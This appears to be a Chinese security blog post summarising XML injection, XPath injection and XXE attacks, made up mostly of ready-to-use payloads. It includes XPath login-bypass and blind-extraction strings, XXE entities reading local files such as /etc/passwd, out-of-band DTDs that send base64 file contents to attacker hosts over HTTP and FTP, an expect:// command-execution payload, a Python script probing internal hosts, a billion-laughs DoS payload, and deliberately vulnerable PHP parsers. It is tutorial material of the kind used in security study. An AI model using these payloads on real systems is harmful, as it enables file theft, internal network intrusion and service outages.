XXE总结
John_Frod Lv4

XXE 总结

XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成。实体可在内部或外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。


危害

  • 任意文件读取
  • 命令执行
  • 内网端口扫描
  • 攻击内网网站
  • 发起Dos攻击

XML注入

首先了解下什么是XML注入。XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。

条件:

  • 用户能够控制数据的输入
  • 程序有拼凑的数据

example:

1
2
3
# 注入前XML代码
<?xml version="1.0" encoding="UTF-8">
<USER role="admin">用户输入位置</USER>

当用户输入一些恶意代码,比如User1</USER><USER role="admin">User2,原XML代码就变成了下面的样子:

1
2
3
4
# 注入后XML代码
<?xml version="1.0" encoding="UTF-8">
<USER role="admin">User1</USER>
<USER role="admin">User2</USER>

可以看到通过XML语句的前后拼接, XML代码被插入了进去,新增加了一位用户。

对普通的 XML 注入,利用面比较狭窄,现实中也是比较鸡肋的存在,因此几乎用不到。


XPath注入

XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。

XPath注入攻击利用两种技术,即XPath扫描XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。


Xpath直接注入

test2.xml(存储用户名和密码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>

2.php(用于接收传入参数,并进行XML查询)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$xml=simplexml_load_file('test2.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result=$xml->xpath($query);
if($result){
echo '<h2>Welcome</h2>';
foreach($result as $key=>$value){
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}
?>

simplexml_load_file():返回类 SimpleXMLElement 的一个对象,该对象的属性包含 XML 文档中的数据

正常查询:

1
http://localhost/XXE/2.php?name=test1&pwd=test1

image-20210412201019022

攻击者在name参数输入:' or 1=1 or ''='

image-20210412201219015

成功获取所有user数据。上面这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲注技术获取最高权限帐号和其它重要文档信息。


XPath盲注

如果遍历出整个XML文档,一般步骤如下:

  1. 盲注根节点

利用count(/*)判断根下节点:

1
http://localhost/XXE/2.php?name=' or count(/*) = 1 or '1' = '2

image-20210412201504812

有返回结果证明存在一个根节点。

利用substring分割根节点的每个字符,猜解第一级节点:

1
2
3
http://localhost/XXE/2.php?name=' or substring(name(/*[position() = 1]),1,1)='r' or '1'='2
http://localhost/XXE/2.php?name=' or substring(name(/*[position() = 1]),2,1)='o' or '1'='2
......

最终结果: root

  1. 盲注root的下一级节点

判断root的下一级节点数:

1
http://localhost/XXE/2.php?name=' or count(/root/*) = 1 or '1' = '2

image-20210412201851893

有返回结果证明存在一个root的下一级节点。

猜解root的下一级节点:

1
2
3
http://localhost/XXE/2.php?name=substring(name(/root/*[position() = 1]),1,1)='u' or '1'='2
http://localhost/XXE/2.php?name=substring(name(/root/*[position() = 1]),2,1)='s' or '1'='2
......

最终结果:users

重复上述步骤,直至猜解出所有节点,最后来猜解节点中的数据或属性值。


XXE 利用

有回显读本地敏感文件(Normal XXE)

服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件

example:

1
2
3
4
5
6
7
8
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
  • file_get_contents获取客户端输入内容

  • new DOMDocument()初始化XML解析器

  • loadXML($xmlfile)加载客户端输入的XML内容,**LIBXML_NOENT** (int):Substitute entities,**LIBXML_DTDLOAD** (int):Load the external subset

  • simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。

payload:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/flag.txt"> ]>
<creds>&goodies;</creds>

image-20210412205638570

如果flag.txt中包含特殊符号,比如<>&"'等,例如:

1
<XXE Payload Executed Successfully!!!>

读取文件中含有特殊符号时,返回了一堆错误,这个时候就需要使用CDATA了。(当然,更简单的使用base64编码)

payload:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///c:/flag.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.91.134/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>

evil.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

image-20210412220412179

似乎在WIN10上不行

利用带有CDATA的Payload,可以看到特殊符号被成功绕过。

但是在真实情况下,服务器上的XML一般用于配置文件或者传输数据,而不是显示数据,因此在现实环境下利用这个漏洞就需要找到不依靠回显的方法。


无回显读取本地敏感文件(Blind XXE)

xml.php

1
2
3
4
5
6
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

payload1

1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.91.149/evil.dtd">
%remote;%int;%send;
]>

evil.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.91.149:2333?p=%file;'>">

image-20210412222335148

连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 evil.dtd ,有点类似于将 evil.dtd 包含进来,然后 %int 调用 evil.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程服务器上,这样就实现了外带数据的效果,解决了 XXE 无回显的问题。

image-20210412222156326

payload2

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/flag.txt">
<!ENTITY % dtd SYSTEM "http://192.168.91.149/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>

xxe.xml

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://t6n089.ceye.io/%file;'>">

整个的调用过程如下:解析时%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去。注意需要把payload经过url编码。

image-20210412223535268

payload3

无法引用外部DTD文件的前提下,无回显利用XXE注入:

引用内部实体
1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://hhhhhhhh/?&#x25;file;&#x27;>">
&#x25;eval;
&#x25;send;
'>
%remote;
]>
<message>1234</message>
三层嵌套
1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%para;
]>
<message>10</message>

HTTP内网探测主机

payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.91.149" >]>
<xml>
<name>&xxe;</name>
</xml>

根据网页响应时间来判断主机存活情况,写成脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import base64
def XXE(ip,string):
try:
xml = """<?xml version="1.0" encoding="utf-8"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
x = requests.post('http://192.168.91.134/xml.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2]
print(' [+]',ip,'Successfully Found !!!')
except:
print(' [-]',ip,'Error Not Found !!!')
pass

if __name__ == '__main__':
headers = {'Content-Type':'application/xml'}
for i in range(130,150):
ip = '192.168.91.' + str(i)
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
XXE(ip,string)

image-20210413120226809


HTTP内网探测端口

payload:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe SYSTEM "http://192.168.91.149:80" [
<!ELEMENT xxe (#PCDATA) >
]>
<xxe>666</xxe>

根据返回内容的不同来判断端口是否开启


执行系统命令

在安装expect扩展的PHP环境里执行系统命令

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

拒绝服务攻击(Dos)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

原理:递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。


如何挖掘XXE漏洞

常用检测方法

首先查看XML是否可以成功解析

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [
<!ENTITY name "test1">]>
<root>&name;</root>

如果页面输出了test1,则可以解析XML。

第二步查看是否支持DTD引用外部实体:

1
2
3
4
5
<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://myhost/index.html">
%name;
]>

然后在我的服务器上查看日志,如果有目标服务器向我的服务器发送了一条index.html的请求,说明
支持引用外部实体,很有可能存在xxe漏洞。

外部普通实体

当有回显时,利用file://协议:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>

外部参数实体

当无回显,使用http协议:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY % lltest SYSTEM "http://myhost:1234/test_xxe">
%lltest;
]>

然后在myhost监听1234端口(dnslog地址也可以),查看是否有http请求。


Json Content-type XXE

很多Web与App应用都是基于客户端-服务器交互的Web通信服务,最常见的数据格式就是Json与XML,尽管web服务可能只使用一种格式,但是服务器却可以接收开发人员没有料到的其他数据格式,有可能导致Json节点受到XXE攻击。

测试方法很简单,就是将Content-Type: application/json修改为Content-Type: application/xml,数据格式不变,查看是否报错:

1
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

可以发现服务器是可以处理xml数据的,于是我们利用这个来进行攻击。


利用FTP协议获取敏感信息

利用ftp协议获取服务器信息/内网ip之类的技巧:
在攻击者服务器上运行rb脚本(模拟FTP服务器:https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb),监听8080端口。
然后在web程序那里输入payload:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://evil.com/ext.dtd">
%asd;
%rrr;
]>
<a></a>

ext.dtd

1
2
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://evil.com:8000/%b;'>">

然后在模拟的FTP服务器上就会收到一些服务器信息/文件内容

技巧来自:http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html


参考资料

一篇文章带你深入理解漏洞之 XXE 漏洞

从XML相关一步一步到XXE漏洞

Web安全学习之XXE漏洞利用

  • Post title:XXE总结
  • Post author:John_Frod
  • Create time:2021-04-14 09:40:20
  • Post link:https://keep.xpoet.cn/2021/04/14/XXE总结/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.